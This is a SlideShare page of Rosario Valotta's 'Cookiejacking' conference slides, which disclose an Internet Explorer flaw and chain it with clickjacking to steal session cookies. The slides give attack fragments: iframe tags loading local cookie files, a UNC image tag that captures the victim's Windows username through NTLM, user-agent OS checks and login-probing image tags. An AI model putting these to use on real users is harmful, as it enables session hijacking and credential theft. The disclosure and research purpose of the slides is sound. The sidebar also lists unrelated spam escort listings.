SlideShare a Scribd company logo
1 of 23
Cookiejacking
Rosario Valotta
Rosario Valotta Cookiejacking
Agenda
Me, myself and I
The IE security zones
IE 0-day
Overview on UI redressing attacks
Solving the jigsaw
The big picture
Demo
Rosario Valotta Cookiejacking
Me, myself and I
Day time: IT professional, mobile TLC company, Rome, Italy
Night time: web security fan since 2007, released a bunch of
advisories and PoCs:
Nduja Connection: first ever cross domain XSS worm
Critical Path Memova : 40 Millions users worldwide affected
WMP: information gathering and intranet scanning
OWA: CSRF
Blog: http://sites.google.com/site/tentacoloviola/
Rosario Valotta Cookiejacking
Overview on IE security zones
In IE, a web site is assigned to a security zone
Sites in the same security zone behave the same way according to security privileges
5 default zones:
Local Machine Zone
Local Intranet Zone
Trusted Sites Zone
Internet Zone
Restrited Sites Zone
Security profiles:
A collection of security privileges that can be granted to each given zone
Predefined: High, Medium, Medium-Low, Low
Customized
Privileges:
ActiveX & plugins
Downloads
User authentication
Scripting
Cross zone interaction
Decreasing security privileges
Hidden by default
Rosario Valotta Cookiejacking
Cross Zone Interaction
By rule of thumb a web content belonging to a less privileged zone
cannot access content belonging to more privileged zone
So it should be impossible for a web content to access local machine
files. It should be.
<iframe src=“file:///c:/test.txt”></iframe>
Access denied
Rosario Valotta Cookiejacking
Do not open that folder…aka IE 0-day
<iframe src="file:///C:/Documents and
Settings/tentacoloViola/Cookies/tentacoloviola@google[1].txt”></iframe>
What?
Cookies folder of the user currently logged
All kind of cookies:
HTTP Only
Secure (HTTPS) cookie
Any website
Where?
Works on IE 6,7, 8 (also protected mode)
Tested on XP SP3, Vista, 7
Rosario Valotta Cookiejacking
Of coordinated discosure and other oddities…
January 28th
Disclosed to MSRC
IE 9 beta still vulnerable
March 14°: first official release of IE9
IE9 not vulnerable
Two weeks ago
New attack vector found, works also on IE9
<iframe src="file:///C:/Documents and
Settings/tentacoloViola/Cookies/tentacoloviola@google[1].txt”></iframe>
<iframe src=“http://192.168.1.2/redir.pl?url=file:///C:/Documents and
Settings/tentacoloViola/Cookies/tentacoloviola@google[1].txt”></iframe>
Rosario Valotta Cookiejacking
Find a way to access
cookies
Load arbitrary cookies
into an iframe
Guess victim’s
username
Guess victim’s OS
document.getElementById(‘myId’).contentWindow.
document.innerHTML
Access
denied
file:///C:/Documents and Settings/user/Cookies/user@site.txt
Where do we go from here?
The path of the cookie folder depends on the
username currently logged on
Same Origin Policy will block any programmatic
access to a local iframe content from web domains
Different OSs store cookies in different paths:
Windows XP C:/Documents and Settings/user/Cookies/
Vista and 7  C:/Users/user/AppData/Roaming/
Microsoft/Windows/Cookies/Low/
Rosario Valotta Cookiejacking
Clickjacking aka UI Redressing attack
Introduced by Jeremiah Grossman and Robert Hansen in 2008
It’s all about:
Iframes overlapping
CSS opacity
opacity=0; z-index=1
opacity=100; z-index=0
The basic approach:
Iframe properly positioned
Iframe made invisible
User clicks “hijacked”
User interaction is needed, SOP is not triggered
Advanced scenario: content extraction (Paul Stone, 2010)
z-axis
Social engineer a victim
Select content from a legitimate 3rd party page
Drag&drop content in an attacker controlled element
Steal sensitive HTML contents
Links and Images are converted in URLs event.dataTransfer.getData(“Text”)
Rosario Valotta Cookiejacking
A
B
Advanced Clickjacking: content extraction
Third party iframe is positioned
on the start point of the
selectionA
The victim starts to select
content (e.g. text or html)
Third party iframe is positioned
on the end point of the
selectionB
The victim stops selecting
Third party iframe is positioned
somewhere between A and B
The victim drags the selected
content into an attacker controlled
iframe
The technique is made up of 6 steps:
Rosario Valotta Cookiejacking
Insights
Iframe loads cookie text file (0-day)
Ball image overlapped on the iframe
Content extraction technique
Attacks mash-up: how the SOP was won
Find a way to access
cookies
Load arbitrary cookies
into an iframe
Opacity=0
Z-index=1
Opacity=100
Z-index=0
Rosario Valotta Cookiejacking
Missing pieces
Find a way to access
cookies
Load arbitrary cookies
into an iframe
Guess victim’s
username
Guess victim’s OS
file:///C:/Documents and Settings/user/Cookies/user@site.txt
The path of the cookie folder depends on the
username currently logged on
Different OSs store cookies in different paths:
Windows XP C:/Documents and Settings/user/Cookies/
Vista and 7  C:/Users/user/AppData/Roaming/
Microsoft/Windows/Cookies/Low/
Optimize content
extraction
Drag & drop API doesn’t work well across browsers
Two different dragging actions required in order to:
select content
drag&drop it out of the iframe
Rosario Valotta Cookiejacking
Drag & drop
Drag & drop APIs
Acknowledged as one of the innovations introduced in HTML5
Not formally part of latest HTML5 draft
Based on Microsoft’s original implementation available on IE 5
Not fully supported on IE 6,7,8
Custom implementation on http://www.useragentman.com
Works well on all IE versions
Custom effects: drag feedback image, cursor shape change, etc
Rosario Valotta Cookiejacking
Advanced content extraction
Two nested iframes defined in the attacker
page
Iframes sizes properly defined in order to
ensure that scrolling is needed for the cookie
(B content) to completely come into view
E.g. A.height=100; B.height=500
The sequence:
User moves the mouse over the B iframe
When user clicks down the mouse button the
“onfocus” event is triggered
The scrollspeed property of the iframe A is
set to 100
With the mouse button down and the iframe
B scrolling into iframe A, the final effect is that
the user is selecting text as long as the mouse
button is clicked
If the scrollspeed is big enough, a single click
time is enough to select the whole cookie content
First drag action (content selection) collapsed
in a click
goes here.
You must set
the iframe
height
to ensure
that scrolling
is needed to
completey
select the
content
ACookie
contentB
onfocus=“scrollspeed=100”
Rosario Valotta Cookiejacking
Missing pieces
Find a way to access
cookies
Load arbitrary cookies
into an iframe
Guess victim’s
username
Guess victim’s OS
file:///C:/Documents and Settings/user/Cookies/user@site.txt
The path of the cookie folder depends on the
username currently logged on
Different OSs store cookies in different paths:
Windows XP C:/Documents and Settings/user/Cookies/
Vista and 7  C:/Users/user/AppData/Roaming/
Microsoft/Windows/Cookies/Low/
Optimize content
extraction
Rosario Valotta Cookiejacking
I know your (user)name
Exploit a “feature” of IE (already discussed by Jorge Medina in 2010)
IE supports access to file system objects on SMB shares
Uses UNC (Universal Naming Convention) paths to reference them
Can be used without restrictions inside web pages in the Internet zone or above
<img src="[WEB SERVER IP ADDRESS]image.jpg">
Anonymous access is tried first
Anonymous access is denied
NTLM Challenge/Response Negotiation
Windows Username, Windows Computer Name, Windows Domain
Capture.pl
Rosario Valotta Cookiejacking
Missing pieces
Find a way to access
cookies
Load arbitrary cookies
into an iframe
Guess victim’s
username
Guess victim’s OS
Different OSs store cookies in different paths:
Windows XP C:/Documents and Settings/user/Cookies/
Vista and 7  C:/Users/user/AppData/Roaming/
Microsoft/Windows/Cookies/Low/
Optimize content
extraction
Rosario Valotta Cookiejacking
Little dirty secrets
The OS version can be retrieved through a little JS:
XP = navigator.userAgent.indexOf("Windows NT 5.1");
Vista= navigator.userAgent.indexOf("Windows NT 6.0");
Win7= navigator.userAgent.indexOf("Windows NT 6.1");
Is the cookie valid?
True if the victim is logged on a given website
Guess if a victim is logged using a “probing” approach (Jeremiah Grossman, 2006)
Dynamic attack setup
Probing for user authentication
Only define iframes to load valid cookies (1 iframe loads 1 cookie)
<img src="https://mail.google.com/mail/pimages/2/labs/labs_bar_icon.png"
onload=“doThis()" onerror=“doThat()”>
Rosario Valotta Cookiejacking
Ready to pown…
Find a way to access
cookies
Load arbitrary cookies
into an iframe
Guess victim’s
username
Guess victim’s OS
Optimize content
extraction
Rosario Valotta Cookiejacking
The big picture
A page containing <img src=“attackerIPdummy> is served
Victim’s browser requests img and send Windows username
Victim is cookiejacked and sends his cookies
Index.html
Capture.pl
User.txtRedir.pl
Onerror event the browser is redirected to a perl script
dragPoc.html
#username
The script read the username sniffed and redirects the
browser to the PoC page with the hash value set to username
Collect.php
Rosario Valotta Cookiejacking
The perfect PoC
- appealing “content”
+
- willingly “interact” with her
Rosario Valotta Cookiejacking
Conclusions
Cookiejacking: a new kind of UI redressing attack, exploiting a 0-day
vulnerability in all versions of IE, all version of Windows boxes
Allows an attacker to steal session cookies, no XSS needed
Web site independent: it’s a browser flaw
Current countermeasures against Clickjacking don’t work with
Cookiejacking
Think about using Flash…
It’s supposed to last for a long time: there is a huge installation
base all over the world
Rosario Valotta Cookiejacking
Thank you.

More Related Content

What's hot

Presentation on Internet Cookies
Presentation on Internet CookiesPresentation on Internet Cookies
Presentation on Internet CookiesRitika Barethia
 
from 33 to 0 - A journey to be root
from 33 to 0 - A journey to be rootfrom 33 to 0 - A journey to be root
from 33 to 0 - A journey to be rootAmmar WK
 
Owasp for dummies handouts
Owasp for dummies handoutsOwasp for dummies handouts
Owasp for dummies handoutsBCC
 
How to Password Protect a Folder in Windows10
How to Password Protect a Folder in Windows10How to Password Protect a Folder in Windows10
How to Password Protect a Folder in Windows10moli he
 
Modern Web Application Defense
Modern Web Application DefenseModern Web Application Defense
Modern Web Application DefenseFrank Kim
 
Cookies: HTTP state management mechanism
Cookies: HTTP state management mechanismCookies: HTTP state management mechanism
Cookies: HTTP state management mechanismJivan Nepali
 

What's hot (6)

Presentation on Internet Cookies
Presentation on Internet CookiesPresentation on Internet Cookies
Presentation on Internet Cookies
 
from 33 to 0 - A journey to be root
from 33 to 0 - A journey to be rootfrom 33 to 0 - A journey to be root
from 33 to 0 - A journey to be root
 
Owasp for dummies handouts
Owasp for dummies handoutsOwasp for dummies handouts
Owasp for dummies handouts
 
How to Password Protect a Folder in Windows10
How to Password Protect a Folder in Windows10How to Password Protect a Folder in Windows10
How to Password Protect a Folder in Windows10
 
Modern Web Application Defense
Modern Web Application DefenseModern Web Application Defense
Modern Web Application Defense
 
Cookies: HTTP state management mechanism
Cookies: HTTP state management mechanismCookies: HTTP state management mechanism
Cookies: HTTP state management mechanism
 

Viewers also liked

S&T Gathering Data
S&T Gathering DataS&T Gathering Data
S&T Gathering Datastirlinghspe
 
Wg advertisement for usfor a
Wg advertisement for usfor aWg advertisement for usfor a
Wg advertisement for usfor aRichard Burns
 
Evan baechler tweets & stocks
Evan baechler tweets & stocksEvan baechler tweets & stocks
Evan baechler tweets & stocksEvan Baechler
 
Smd Qtr1 char of life
Smd Qtr1 char of life Smd Qtr1 char of life
Smd Qtr1 char of life Alyssa Boller
 
Proven Steps on the Habit Formation Highway
Proven Steps on the Habit Formation HighwayProven Steps on the Habit Formation Highway
Proven Steps on the Habit Formation Highwayaditimallick
 
The teacher's secret
The teacher's secretThe teacher's secret
The teacher's secretlukas5235
 
3 1 1_limitadores
3 1 1_limitadores3 1 1_limitadores
3 1 1_limitadoresITA
 
Baloncesto
BaloncestoBaloncesto
Baloncestoserch-96
 
Increasing a clubs environmental performance -common actions by The Green Blue
Increasing a clubs environmental performance -common actions by The Green BlueIncreasing a clubs environmental performance -common actions by The Green Blue
Increasing a clubs environmental performance -common actions by The Green BlueBritish Association for Sustainable Sport
 
Quizwarmup1esoseccioneseuropeas 100206040749-phpapp01
Quizwarmup1esoseccioneseuropeas 100206040749-phpapp01Quizwarmup1esoseccioneseuropeas 100206040749-phpapp01
Quizwarmup1esoseccioneseuropeas 100206040749-phpapp01Angelleonlara102
 
Listen Technologies Conferencing Projects
Listen Technologies Conferencing ProjectsListen Technologies Conferencing Projects
Listen Technologies Conferencing ProjectsListenTechnologies
 
French elementary school facing the digital natives - Reasearches phase
French elementary school facing the digital natives - Reasearches phaseFrench elementary school facing the digital natives - Reasearches phase
French elementary school facing the digital natives - Reasearches phaseMarine Belluet
 

Viewers also liked (20)

Dillaa
DillaaDillaa
Dillaa
 
S&T Gathering Data
S&T Gathering DataS&T Gathering Data
S&T Gathering Data
 
Presentation1 (1)
Presentation1 (1)Presentation1 (1)
Presentation1 (1)
 
Wg advertisement for usfor a
Wg advertisement for usfor aWg advertisement for usfor a
Wg advertisement for usfor a
 
Evan baechler tweets & stocks
Evan baechler tweets & stocksEvan baechler tweets & stocks
Evan baechler tweets & stocks
 
BPS2011 Week 3
BPS2011 Week 3BPS2011 Week 3
BPS2011 Week 3
 
Smd Qtr1 char of life
Smd Qtr1 char of life Smd Qtr1 char of life
Smd Qtr1 char of life
 
Balev bio
Balev bioBalev bio
Balev bio
 
紐西蘭
紐西蘭紐西蘭
紐西蘭
 
Proven Steps on the Habit Formation Highway
Proven Steps on the Habit Formation HighwayProven Steps on the Habit Formation Highway
Proven Steps on the Habit Formation Highway
 
The teacher's secret
The teacher's secretThe teacher's secret
The teacher's secret
 
Photography
PhotographyPhotography
Photography
 
3 1 1_limitadores
3 1 1_limitadores3 1 1_limitadores
3 1 1_limitadores
 
Baloncesto
BaloncestoBaloncesto
Baloncesto
 
Irka's well
Irka's wellIrka's well
Irka's well
 
Increasing a clubs environmental performance -common actions by The Green Blue
Increasing a clubs environmental performance -common actions by The Green BlueIncreasing a clubs environmental performance -common actions by The Green Blue
Increasing a clubs environmental performance -common actions by The Green Blue
 
Quizwarmup1esoseccioneseuropeas 100206040749-phpapp01
Quizwarmup1esoseccioneseuropeas 100206040749-phpapp01Quizwarmup1esoseccioneseuropeas 100206040749-phpapp01
Quizwarmup1esoseccioneseuropeas 100206040749-phpapp01
 
Listen Technologies Conferencing Projects
Listen Technologies Conferencing ProjectsListen Technologies Conferencing Projects
Listen Technologies Conferencing Projects
 
Afghan newsletter byars
Afghan newsletter   byarsAfghan newsletter   byars
Afghan newsletter byars
 
French elementary school facing the digital natives - Reasearches phase
French elementary school facing the digital natives - Reasearches phaseFrench elementary school facing the digital natives - Reasearches phase
French elementary school facing the digital natives - Reasearches phase
 

Similar to Cookiejacking2011 final

Cookie replay attack unit wise presentation
Cookie replay attack  unit wise presentationCookie replay attack  unit wise presentation
Cookie replay attack unit wise presentationNilu Desai
 
Secure Code Warrior - Local storage
Secure Code Warrior - Local storageSecure Code Warrior - Local storage
Secure Code Warrior - Local storageSecure Code Warrior
 
Ce hv6 module 53 hacking web browsers
Ce hv6 module 53 hacking web browsersCe hv6 module 53 hacking web browsers
Ce hv6 module 53 hacking web browsersVi Tính Hoàng Nam
 
New or obscure web browsers 4x3 (rcsi draft 6)
New or obscure web browsers 4x3 (rcsi draft 6)New or obscure web browsers 4x3 (rcsi draft 6)
New or obscure web browsers 4x3 (rcsi draft 6)msz
 
Cookies and sessions
Cookies and sessionsCookies and sessions
Cookies and sessionsSukrit Gupta
 
Drive By Downloads: How To Avoid Getting a Cap Popped in Your App
Drive By Downloads:  How To Avoid Getting a Cap Popped in Your App Drive By Downloads:  How To Avoid Getting a Cap Popped in Your App
Drive By Downloads: How To Avoid Getting a Cap Popped in Your App Cenzic
 
New or obscure web browsers (4x3 draft 5)
New or obscure web browsers (4x3 draft 5)New or obscure web browsers (4x3 draft 5)
New or obscure web browsers (4x3 draft 5)msz
 
Web browsertico
Web browserticoWeb browsertico
Web browserticotico3195
 
Web Browser
Web BrowserWeb Browser
Web Browsermandeag
 
Top Ten Web Hacking Techniques of 2012
Top Ten Web Hacking Techniques of 2012Top Ten Web Hacking Techniques of 2012
Top Ten Web Hacking Techniques of 2012Jeremiah Grossman
 
Browser Security – Issues and Best Practices1Outli
Browser Security – Issues and Best Practices1OutliBrowser Security – Issues and Best Practices1Outli
Browser Security – Issues and Best Practices1OutliVannaSchrader3
 
Chrome Extensions: Masking risks in entertainment
Chrome Extensions: Masking risks in entertainmentChrome Extensions: Masking risks in entertainment
Chrome Extensions: Masking risks in entertainmentEduardo Chavarro
 
Top Ten Web Hacking Techniques (2010)
Top Ten Web Hacking Techniques (2010)Top Ten Web Hacking Techniques (2010)
Top Ten Web Hacking Techniques (2010)Jeremiah Grossman
 
XST - Cross Site Tracing
XST - Cross Site TracingXST - Cross Site Tracing
XST - Cross Site TracingMagno Logan
 
Firefox security (prasanna)
Firefox security (prasanna) Firefox security (prasanna)
Firefox security (prasanna) ClubHack
 
Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008Jeremiah Grossman
 

Similar to Cookiejacking2011 final (20)

Cookie replay attack unit wise presentation
Cookie replay attack  unit wise presentationCookie replay attack  unit wise presentation
Cookie replay attack unit wise presentation
 
Secure Code Warrior - Local storage
Secure Code Warrior - Local storageSecure Code Warrior - Local storage
Secure Code Warrior - Local storage
 
Ce hv6 module 53 hacking web browsers
Ce hv6 module 53 hacking web browsersCe hv6 module 53 hacking web browsers
Ce hv6 module 53 hacking web browsers
 
New or obscure web browsers 4x3 (rcsi draft 6)
New or obscure web browsers 4x3 (rcsi draft 6)New or obscure web browsers 4x3 (rcsi draft 6)
New or obscure web browsers 4x3 (rcsi draft 6)
 
Web browsers
Web browsersWeb browsers
Web browsers
 
Cookies and sessions
Cookies and sessionsCookies and sessions
Cookies and sessions
 
Drive By Downloads: How To Avoid Getting a Cap Popped in Your App
Drive By Downloads:  How To Avoid Getting a Cap Popped in Your App Drive By Downloads:  How To Avoid Getting a Cap Popped in Your App
Drive By Downloads: How To Avoid Getting a Cap Popped in Your App
 
New or obscure web browsers (4x3 draft 5)
New or obscure web browsers (4x3 draft 5)New or obscure web browsers (4x3 draft 5)
New or obscure web browsers (4x3 draft 5)
 
Seguridad Corporativa Con Internet Explorer 8(1)
Seguridad Corporativa Con Internet Explorer 8(1)Seguridad Corporativa Con Internet Explorer 8(1)
Seguridad Corporativa Con Internet Explorer 8(1)
 
Web browsertico
Web browserticoWeb browsertico
Web browsertico
 
Web Browser
Web BrowserWeb Browser
Web Browser
 
Secure client
Secure clientSecure client
Secure client
 
Top Ten Web Hacking Techniques of 2012
Top Ten Web Hacking Techniques of 2012Top Ten Web Hacking Techniques of 2012
Top Ten Web Hacking Techniques of 2012
 
Browser Security – Issues and Best Practices1Outli
Browser Security – Issues and Best Practices1OutliBrowser Security – Issues and Best Practices1Outli
Browser Security – Issues and Best Practices1Outli
 
Chrome Extensions: Masking risks in entertainment
Chrome Extensions: Masking risks in entertainmentChrome Extensions: Masking risks in entertainment
Chrome Extensions: Masking risks in entertainment
 
Top Ten Web Hacking Techniques (2010)
Top Ten Web Hacking Techniques (2010)Top Ten Web Hacking Techniques (2010)
Top Ten Web Hacking Techniques (2010)
 
XST - Cross Site Tracing
XST - Cross Site TracingXST - Cross Site Tracing
XST - Cross Site Tracing
 
Cisco WebEx vulnerability: it’s a kind of magic
Cisco WebEx vulnerability: it’s a kind of magicCisco WebEx vulnerability: it’s a kind of magic
Cisco WebEx vulnerability: it’s a kind of magic
 
Firefox security (prasanna)
Firefox security (prasanna) Firefox security (prasanna)
Firefox security (prasanna)
 
Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008
 

Recently uploaded

(PARI) Call Girls Wanowrie ( 7001035870 ) HI-Fi Pune Escorts Service
(PARI) Call Girls Wanowrie ( 7001035870 ) HI-Fi Pune Escorts Service(PARI) Call Girls Wanowrie ( 7001035870 ) HI-Fi Pune Escorts Service
(PARI) Call Girls Wanowrie ( 7001035870 ) HI-Fi Pune Escorts Serviceranjana rawat
 
Spark3's new memory model/management
Spark3's new memory model/managementSpark3's new memory model/management
Spark3's new memory model/managementakshesh doshi
 
꧁❤ Greater Noida Call Girls Delhi ❤꧂ 9711199171 ☎️ Hard And Sexy Vip Call
꧁❤ Greater Noida Call Girls Delhi ❤꧂ 9711199171 ☎️ Hard And Sexy Vip Call꧁❤ Greater Noida Call Girls Delhi ❤꧂ 9711199171 ☎️ Hard And Sexy Vip Call
꧁❤ Greater Noida Call Girls Delhi ❤꧂ 9711199171 ☎️ Hard And Sexy Vip Callshivangimorya083
 
Call Girls in Defence Colony Delhi 💯Call Us 🔝8264348440🔝
Call Girls in Defence Colony Delhi 💯Call Us 🔝8264348440🔝Call Girls in Defence Colony Delhi 💯Call Us 🔝8264348440🔝
Call Girls in Defence Colony Delhi 💯Call Us 🔝8264348440🔝soniya singh
 
Delhi Call Girls Punjabi Bagh 9711199171 ☎✔👌✔ Whatsapp Hard And Sexy Vip Call
Delhi Call Girls Punjabi Bagh 9711199171 ☎✔👌✔ Whatsapp Hard And Sexy Vip CallDelhi Call Girls Punjabi Bagh 9711199171 ☎✔👌✔ Whatsapp Hard And Sexy Vip Call
Delhi Call Girls Punjabi Bagh 9711199171 ☎✔👌✔ Whatsapp Hard And Sexy Vip Callshivangimorya083
 
RadioAdProWritingCinderellabyButleri.pdf
RadioAdProWritingCinderellabyButleri.pdfRadioAdProWritingCinderellabyButleri.pdf
RadioAdProWritingCinderellabyButleri.pdfgstagge
 
EMERCE - 2024 - AMSTERDAM - CROSS-PLATFORM TRACKING WITH GOOGLE ANALYTICS.pptx
EMERCE - 2024 - AMSTERDAM - CROSS-PLATFORM  TRACKING WITH GOOGLE ANALYTICS.pptxEMERCE - 2024 - AMSTERDAM - CROSS-PLATFORM  TRACKING WITH GOOGLE ANALYTICS.pptx
EMERCE - 2024 - AMSTERDAM - CROSS-PLATFORM TRACKING WITH GOOGLE ANALYTICS.pptxthyngster
 
Full night 🥵 Call Girls Delhi New Friends Colony {9711199171} Sanya Reddy ✌️o...
Full night 🥵 Call Girls Delhi New Friends Colony {9711199171} Sanya Reddy ✌️o...Full night 🥵 Call Girls Delhi New Friends Colony {9711199171} Sanya Reddy ✌️o...
Full night 🥵 Call Girls Delhi New Friends Colony {9711199171} Sanya Reddy ✌️o...shivangimorya083
 
Market Analysis in the 5 Largest Economic Countries in Southeast Asia.pdf
Market Analysis in the 5 Largest Economic Countries in Southeast Asia.pdfMarket Analysis in the 5 Largest Economic Countries in Southeast Asia.pdf
Market Analysis in the 5 Largest Economic Countries in Southeast Asia.pdfRachmat Ramadhan H
 
Low Rate Call Girls Bhilai Anika 8250192130 Independent Escort Service Bhilai
Low Rate Call Girls Bhilai Anika 8250192130 Independent Escort Service BhilaiLow Rate Call Girls Bhilai Anika 8250192130 Independent Escort Service Bhilai
Low Rate Call Girls Bhilai Anika 8250192130 Independent Escort Service BhilaiSuhani Kapoor
 
Dubai Call Girls Wifey O52&786472 Call Girls Dubai
Dubai Call Girls Wifey O52&786472 Call Girls DubaiDubai Call Girls Wifey O52&786472 Call Girls Dubai
Dubai Call Girls Wifey O52&786472 Call Girls Dubaihf8803863
 
VIP High Class Call Girls Jamshedpur Anushka 8250192130 Independent Escort Se...
VIP High Class Call Girls Jamshedpur Anushka 8250192130 Independent Escort Se...VIP High Class Call Girls Jamshedpur Anushka 8250192130 Independent Escort Se...
VIP High Class Call Girls Jamshedpur Anushka 8250192130 Independent Escort Se...Suhani Kapoor
 
Kantar AI Summit- Under Embargo till Wednesday, 24th April 2024, 4 PM, IST.pdf
Kantar AI Summit- Under Embargo till Wednesday, 24th April 2024, 4 PM, IST.pdfKantar AI Summit- Under Embargo till Wednesday, 24th April 2024, 4 PM, IST.pdf
Kantar AI Summit- Under Embargo till Wednesday, 24th April 2024, 4 PM, IST.pdfSocial Samosa
 
{Pooja: 9892124323 } Call Girl in Mumbai | Jas Kaur Rate 4500 Free Hotel Del...
{Pooja:  9892124323 } Call Girl in Mumbai | Jas Kaur Rate 4500 Free Hotel Del...{Pooja:  9892124323 } Call Girl in Mumbai | Jas Kaur Rate 4500 Free Hotel Del...
{Pooja: 9892124323 } Call Girl in Mumbai | Jas Kaur Rate 4500 Free Hotel Del...Pooja Nehwal
 
Beautiful Sapna Vip Call Girls Hauz Khas 9711199012 Call /Whatsapps
Beautiful Sapna Vip  Call Girls Hauz Khas 9711199012 Call /WhatsappsBeautiful Sapna Vip  Call Girls Hauz Khas 9711199012 Call /Whatsapps
Beautiful Sapna Vip Call Girls Hauz Khas 9711199012 Call /Whatsappssapnasaifi408
 
Data Science Jobs and Salaries Analysis.pptx
Data Science Jobs and Salaries Analysis.pptxData Science Jobs and Salaries Analysis.pptx
Data Science Jobs and Salaries Analysis.pptxFurkanTasci3
 
From idea to production in a day – Leveraging Azure ML and Streamlit to build...
From idea to production in a day – Leveraging Azure ML and Streamlit to build...From idea to production in a day – Leveraging Azure ML and Streamlit to build...
From idea to production in a day – Leveraging Azure ML and Streamlit to build...Florian Roscheck
 
VIP High Profile Call Girls Amravati Aarushi 8250192130 Independent Escort Se...
VIP High Profile Call Girls Amravati Aarushi 8250192130 Independent Escort Se...VIP High Profile Call Girls Amravati Aarushi 8250192130 Independent Escort Se...
VIP High Profile Call Girls Amravati Aarushi 8250192130 Independent Escort Se...Suhani Kapoor
 

Recently uploaded (20)

(PARI) Call Girls Wanowrie ( 7001035870 ) HI-Fi Pune Escorts Service
(PARI) Call Girls Wanowrie ( 7001035870 ) HI-Fi Pune Escorts Service(PARI) Call Girls Wanowrie ( 7001035870 ) HI-Fi Pune Escorts Service
(PARI) Call Girls Wanowrie ( 7001035870 ) HI-Fi Pune Escorts Service
 
Spark3's new memory model/management
Spark3's new memory model/managementSpark3's new memory model/management
Spark3's new memory model/management
 
꧁❤ Greater Noida Call Girls Delhi ❤꧂ 9711199171 ☎️ Hard And Sexy Vip Call
꧁❤ Greater Noida Call Girls Delhi ❤꧂ 9711199171 ☎️ Hard And Sexy Vip Call꧁❤ Greater Noida Call Girls Delhi ❤꧂ 9711199171 ☎️ Hard And Sexy Vip Call
꧁❤ Greater Noida Call Girls Delhi ❤꧂ 9711199171 ☎️ Hard And Sexy Vip Call
 
Call Girls in Defence Colony Delhi 💯Call Us 🔝8264348440🔝
Call Girls in Defence Colony Delhi 💯Call Us 🔝8264348440🔝Call Girls in Defence Colony Delhi 💯Call Us 🔝8264348440🔝
Call Girls in Defence Colony Delhi 💯Call Us 🔝8264348440🔝
 
Delhi Call Girls Punjabi Bagh 9711199171 ☎✔👌✔ Whatsapp Hard And Sexy Vip Call
Delhi Call Girls Punjabi Bagh 9711199171 ☎✔👌✔ Whatsapp Hard And Sexy Vip CallDelhi Call Girls Punjabi Bagh 9711199171 ☎✔👌✔ Whatsapp Hard And Sexy Vip Call
Delhi Call Girls Punjabi Bagh 9711199171 ☎✔👌✔ Whatsapp Hard And Sexy Vip Call
 
RadioAdProWritingCinderellabyButleri.pdf
RadioAdProWritingCinderellabyButleri.pdfRadioAdProWritingCinderellabyButleri.pdf
RadioAdProWritingCinderellabyButleri.pdf
 
EMERCE - 2024 - AMSTERDAM - CROSS-PLATFORM TRACKING WITH GOOGLE ANALYTICS.pptx
EMERCE - 2024 - AMSTERDAM - CROSS-PLATFORM  TRACKING WITH GOOGLE ANALYTICS.pptxEMERCE - 2024 - AMSTERDAM - CROSS-PLATFORM  TRACKING WITH GOOGLE ANALYTICS.pptx
EMERCE - 2024 - AMSTERDAM - CROSS-PLATFORM TRACKING WITH GOOGLE ANALYTICS.pptx
 
Full night 🥵 Call Girls Delhi New Friends Colony {9711199171} Sanya Reddy ✌️o...
Full night 🥵 Call Girls Delhi New Friends Colony {9711199171} Sanya Reddy ✌️o...Full night 🥵 Call Girls Delhi New Friends Colony {9711199171} Sanya Reddy ✌️o...
Full night 🥵 Call Girls Delhi New Friends Colony {9711199171} Sanya Reddy ✌️o...
 
Russian Call Girls Dwarka Sector 15 💓 Delhi 9999965857 @Sabina Modi VVIP MODE...
Russian Call Girls Dwarka Sector 15 💓 Delhi 9999965857 @Sabina Modi VVIP MODE...Russian Call Girls Dwarka Sector 15 💓 Delhi 9999965857 @Sabina Modi VVIP MODE...
Russian Call Girls Dwarka Sector 15 💓 Delhi 9999965857 @Sabina Modi VVIP MODE...
 
E-Commerce Order PredictionShraddha Kamble.pptx
E-Commerce Order PredictionShraddha Kamble.pptxE-Commerce Order PredictionShraddha Kamble.pptx
E-Commerce Order PredictionShraddha Kamble.pptx
 
Market Analysis in the 5 Largest Economic Countries in Southeast Asia.pdf
Market Analysis in the 5 Largest Economic Countries in Southeast Asia.pdfMarket Analysis in the 5 Largest Economic Countries in Southeast Asia.pdf
Market Analysis in the 5 Largest Economic Countries in Southeast Asia.pdf
 
Low Rate Call Girls Bhilai Anika 8250192130 Independent Escort Service Bhilai
Low Rate Call Girls Bhilai Anika 8250192130 Independent Escort Service BhilaiLow Rate Call Girls Bhilai Anika 8250192130 Independent Escort Service Bhilai
Low Rate Call Girls Bhilai Anika 8250192130 Independent Escort Service Bhilai
 
Dubai Call Girls Wifey O52&786472 Call Girls Dubai
Dubai Call Girls Wifey O52&786472 Call Girls DubaiDubai Call Girls Wifey O52&786472 Call Girls Dubai
Dubai Call Girls Wifey O52&786472 Call Girls Dubai
 
VIP High Class Call Girls Jamshedpur Anushka 8250192130 Independent Escort Se...
VIP High Class Call Girls Jamshedpur Anushka 8250192130 Independent Escort Se...VIP High Class Call Girls Jamshedpur Anushka 8250192130 Independent Escort Se...
VIP High Class Call Girls Jamshedpur Anushka 8250192130 Independent Escort Se...
 
Kantar AI Summit- Under Embargo till Wednesday, 24th April 2024, 4 PM, IST.pdf
Kantar AI Summit- Under Embargo till Wednesday, 24th April 2024, 4 PM, IST.pdfKantar AI Summit- Under Embargo till Wednesday, 24th April 2024, 4 PM, IST.pdf
Kantar AI Summit- Under Embargo till Wednesday, 24th April 2024, 4 PM, IST.pdf
 
{Pooja: 9892124323 } Call Girl in Mumbai | Jas Kaur Rate 4500 Free Hotel Del...
{Pooja:  9892124323 } Call Girl in Mumbai | Jas Kaur Rate 4500 Free Hotel Del...{Pooja:  9892124323 } Call Girl in Mumbai | Jas Kaur Rate 4500 Free Hotel Del...
{Pooja: 9892124323 } Call Girl in Mumbai | Jas Kaur Rate 4500 Free Hotel Del...
 
Beautiful Sapna Vip Call Girls Hauz Khas 9711199012 Call /Whatsapps
Beautiful Sapna Vip  Call Girls Hauz Khas 9711199012 Call /WhatsappsBeautiful Sapna Vip  Call Girls Hauz Khas 9711199012 Call /Whatsapps
Beautiful Sapna Vip Call Girls Hauz Khas 9711199012 Call /Whatsapps
 
Data Science Jobs and Salaries Analysis.pptx
Data Science Jobs and Salaries Analysis.pptxData Science Jobs and Salaries Analysis.pptx
Data Science Jobs and Salaries Analysis.pptx
 
From idea to production in a day – Leveraging Azure ML and Streamlit to build...
